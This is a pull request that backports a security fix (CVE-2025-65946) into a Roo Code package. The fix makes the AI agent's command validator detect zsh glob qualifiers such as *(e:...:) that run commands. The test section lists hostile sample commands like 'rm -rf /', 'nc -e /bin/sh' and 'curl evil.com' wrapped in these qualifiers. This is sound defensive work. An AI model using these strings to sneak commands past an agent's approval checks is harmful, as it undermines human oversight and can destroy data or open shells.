Open
Fix CVE-2025-65946 #16
chenyanpanAdd on Apr 22
Fix CVE-2025-65946 #16
Open
Total: 2 files changed+129-1
| @@ -0,0 +1,124 @@ | |||
| 1 | +From b50104cc5987ce64f5154309d967ae8c74cfd1f3 Mon Sep 17 00:00:00 2001 | ||
| 2 | +From: Matt Rubens <mrubens@users.noreply.github.com> | ||
| 3 | +Date: Thu, 4 Sep 2025 11:14:25 -0400 | ||
| 4 | +Subject: [PATCH] Handle zsh glob qualifiers correctly (#7667) | ||
| 5 | + | ||
| 6 | +--- | ||
| 7 | + .../__tests__/command-validation.spec.ts | 49 +++++++++++++++++++ | ||
| 8 | + webview-ui/src/utils/command-validation.ts | 9 +++- | ||
| 9 | + 2 files changed, 57 insertions(+), 1 deletion(-) | ||
| 10 | + | ||
| 11 | +diff --git a/webview-ui/src/utils/__tests__/command-validation.spec.ts b/webview-ui/src/utils/__tests__/command-validation.spec.ts | ||
| 12 | +index 61441fb31df..e87bae07e51 100644 | ||
| 13 | +--- a/webview-ui/src/utils/__tests__/command-validation.spec.ts | ||
| 14 | ++++ b/webview-ui/src/utils/__tests__/command-validation.spec.ts | ||
| 15 | +@@ -292,6 +292,27 @@ ls -la || echo "Failed"` | ||
| 16 | + expect(containsDangerousSubstitution("ls =(sudo apt install malware)")).toBe(true) | ||
| 17 | + }) | ||
| 18 | + | ||
| 19 | ++ it("detects zsh glob qualifiers with code execution (e:...:)", () => { | ||
| 20 | ++ // Basic glob qualifier with command execution | ||
| 21 | ++ expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true) | ||
| 22 | ++ | ||
| 23 | ++ // Various glob patterns with code execution | ||
| 24 | ++ expect(containsDangerousSubstitution("cat ?(e:rm -rf /:)")).toBe(true) | ||
| 25 | ++ expect(containsDangerousSubstitution("echo +(e:sudo reboot:)")).toBe(true) | ||
| 26 | ++ expect(containsDangerousSubstitution("rm @(e:curl evil.com:)")).toBe(true) | ||
| 27 | ++ expect(containsDangerousSubstitution("touch !(e:nc -e /bin/sh:)")).toBe(true) | ||
| 28 | ++ | ||
| 29 | ++ // Glob qualifiers in middle of command | ||
| 30 | ++ expect(containsDangerousSubstitution("ls -la *(e:date:) test")).toBe(true) | ||
| 31 | ++ | ||
| 32 | ++ // Multiple glob qualifiers | ||
| 33 | ++ expect(containsDangerousSubstitution("cat *(e:whoami:) ?(e:pwd:)")).toBe(true) | ||
| 34 | ++ | ||
| 35 | ++ // Glob qualifiers with complex commands | ||
| 36 | ++ expect(containsDangerousSubstitution("ls *(e:open -a Calculator:)")).toBe(true) | ||
| 37 | ++ expect(containsDangerousSubstitution("rm *(e:sudo apt install malware:)")).toBe(true) | ||
| 38 | ++ }) | ||
| 39 | ++ | ||
| 40 | + it("does NOT flag safe parameter expansions", () => { | ||
| 41 | + // Regular parameter expansions without dangerous operators | ||
| 42 | + expect(containsDangerousSubstitution("echo ${var}")).toBe(false) | ||
| 43 | +@@ -324,6 +345,12 @@ ls -la || echo "Failed"` | ||
| 44 | + // Safe comparison operators | ||
| 45 | + expect(containsDangerousSubstitution("if [ $a == $b ]; then")).toBe(false) | ||
| 46 | + expect(containsDangerousSubstitution("test $x != $y")).toBe(false) | ||
| 47 | ++ | ||
| 48 | ++ // Safe glob patterns without code execution qualifiers | ||
| 49 | ++ expect(containsDangerousSubstitution("ls *")).toBe(false) | ||
| 50 | ++ expect(containsDangerousSubstitution("rm *.txt")).toBe(false) | ||
| 51 | ++ expect(containsDangerousSubstitution("cat ?(foo|bar)")).toBe(false) | ||
| 52 | ++ expect(containsDangerousSubstitution("echo *(^/)")).toBe(false) // Safe glob qualifier (not e:) | ||
| 53 | + }) | ||
| 54 | + | ||
| 55 | + it("handles complex combinations of dangerous patterns", () => { | ||
| 56 | +@@ -349,6 +376,9 @@ ls -la || echo "Failed"` | ||
| 57 | + | ||
| 58 | + // The new zsh process substitution exploit | ||
| 59 | + expect(containsDangerousSubstitution("ls =(open -a Calculator)")).toBe(true) | ||
| 60 | ++ | ||
| 61 | ++ // The zsh glob qualifier exploit | ||
| 62 | ++ expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true) | ||
| 63 | + }) | ||
| 64 | + }) | ||
| 65 | + }) | ||
| 66 | +@@ -965,6 +995,25 @@ describe("Unified Command Decision Functions", () => { | ||
| 67 | + // Combined with denied commands | ||
| 68 | + expect(getCommandDecision("rm =(echo test)", ["echo"], ["rm"])).toBe("auto_deny") | ||
| 69 | + }) | ||
| 70 | ++ | ||
| 71 | ++ it("prevents auto-approval for zsh glob qualifier exploits", () => { | ||
| 72 | ++ // The zsh glob qualifier exploit with code execution | ||
| 73 | ++ const globExploit = "ls *(e:whoami:)" | ||
| 74 | ++ // Even though 'ls' might be allowed, the dangerous pattern prevents auto-approval | ||
| 75 | ++ expect(getCommandDecision(globExploit, ["ls", "echo"], [])).toBe("ask_user") | ||
| 76 | ++ | ||
| 77 | ++ // Various forms should all be blocked | ||
| 78 | ++ expect(getCommandDecision("cat ?(e:rm -rf /:)", ["cat"], [])).toBe("ask_user") | ||
| 79 | ++ expect(getCommandDecision("echo +(e:date:)", ["echo"], [])).toBe("ask_user") | ||
| 80 | ++ expect(getCommandDecision("touch @(e:pwd:)", ["touch"], [])).toBe("ask_user") | ||
| 81 | ++ expect(getCommandDecision("rm !(e:ls:)", ["rm"], [])).toBe("ask_user") // rm not in allowlist, has dangerous pattern | ||
| 82 | ++ | ||
| 83 | ++ // Combined with denied commands | ||
| 84 | ++ expect(getCommandDecision("rm *(e:echo test:)", ["echo"], ["rm"])).toBe("auto_deny") | ||
| 85 | ++ | ||
| 86 | ++ // Multiple glob qualifiers | ||
| 87 | ++ expect(getCommandDecision("ls *(e:whoami:) ?(e:pwd:)", ["ls"], [])).toBe("ask_user") | ||
| 88 | ++ }) | ||
| 89 | + }) | ||
| 90 | + | ||
| 91 | + it("returns auto_deny for commands with any sub-command auto-denied", () => { | ||
| 92 | +diff --git a/webview-ui/src/utils/command-validation.ts b/webview-ui/src/utils/command-validation.ts | ||
| 93 | +index 3c105d811b2..572ca32bad6 100644 | ||
| 94 | +--- a/webview-ui/src/utils/command-validation.ts | ||
| 95 | ++++ b/webview-ui/src/utils/command-validation.ts | ||
| 96 | +@@ -72,6 +72,7 @@ type ShellToken = string | { op: string } | { command: string } | ||
| 97 | + * - ${!var} - Indirect variable references | ||
| 98 | + * - <<<$(...) or <<<`...` - Here-strings with command substitution | ||
| 99 | + * - =(...) - Zsh process substitution that executes commands | ||
| 100 | ++ * - *(e:...:) or similar - Zsh glob qualifiers with code execution | ||
| 101 | + * | ||
| 102 | + * @param source - The command string to analyze | ||
| 103 | + * @returns true if dangerous substitution patterns are detected, false otherwise | ||
| 104 | +@@ -105,13 +106,19 @@ export function containsDangerousSubstitution(source: string): boolean { | ||
| 105 | + // =(...) creates a temporary file containing the output of the command, but executes it | ||
| 106 | + const zshProcessSubstitution = /=\([^)]+\)/.test(source) | ||
| 107 | + | ||
| 108 | ++ // Check for zsh glob qualifiers with code execution (e:...:) | ||
| 109 | ++ // Patterns like *(e:whoami:) or ?(e:rm -rf /:) execute commands during glob expansion | ||
| 110 | ++ // This regex matches patterns like *(e:...:), ?(e:...:), +(e:...:), @(e:...:), !(e:...:) | ||
| 111 | ++ const zshGlobQualifier = /[*?+@!]\(e:[^:]+:\)/.test(source) | ||
| 112 | ++ | ||
| 113 | + // Return true if any dangerous pattern is detected | ||
| 114 | + return ( | ||
| 115 | + dangerousParameterExpansion || | ||
| 116 | + parameterAssignmentWithEscapes || | ||
| 117 | + indirectExpansion || | ||
| 118 | + hereStringWithSubstitution || | ||
| 119 | +- zshProcessSubstitution | ||
| 120 | ++ zshProcessSubstitution || | ||
| 121 | ++ zshGlobQualifier | ||
| 122 | + ) | ||
| 123 | + } | ||
| 124 | + | ||
| @@ -2,7 +2,7 @@ | |||
| 2 | 2 | ||
| 3 | Name: roo-code | 3 | Name: roo-code |
| 4 | Version: 3.25.14 | 4 | Version: 3.25.14 |
| 5 | -Release: 1 | 5 | +Release: 2 |
| 6 | Summary: Roo Code (prev. Roo Cline) gives you a whole dev team of AI agents in your code editor. | 6 | Summary: Roo Code (prev. Roo Cline) gives you a whole dev team of AI agents in your code editor. |
| 7 | License: Apache-2.0 | 7 | License: Apache-2.0 |
| 8 | URL: https://roocode.com | 8 | URL: https://roocode.com |
| @@ -16,6 +16,7 @@ Requires: vscodium rust-ripgrep | |||
| 16 | 16 | ||
| 17 | 17 | ||
| 18 | Patch0: ripgrep.patch | 18 | Patch0: ripgrep.patch |
| 19 | +Patch1: backport-CVE-2025-65946.patch | ||
| 19 | 20 | ||
| 20 | 21 | ||
| 21 | %description | 22 | %description |
| @@ -49,6 +50,9 @@ mv extension %{buildroot}%{_datadir}/vscodium/resources/app/extensions/%{name} | |||
| 49 | 50 | ||
| 50 | 51 | ||
| 51 | %changelog | 52 | %changelog |
| 53 | +* Wed Apr 22 2026 chenyanpanX <chenyanpan@xfusion.com> - 3.25.14-2 | ||
| 54 | +- Fix CVE-2025-65946 | ||
| 55 | + | ||
| 52 | * Mon Jul 28 2025 wangkui35 <wangkui35@h-partners.com> - 3.25.14-1 | 56 | * Mon Jul 28 2025 wangkui35 <wangkui35@h-partners.com> - 3.25.14-1 |
| 53 | - update to 3.25.14-1 | 57 | - update to 3.25.14-1 |
| 54 | 58 | ||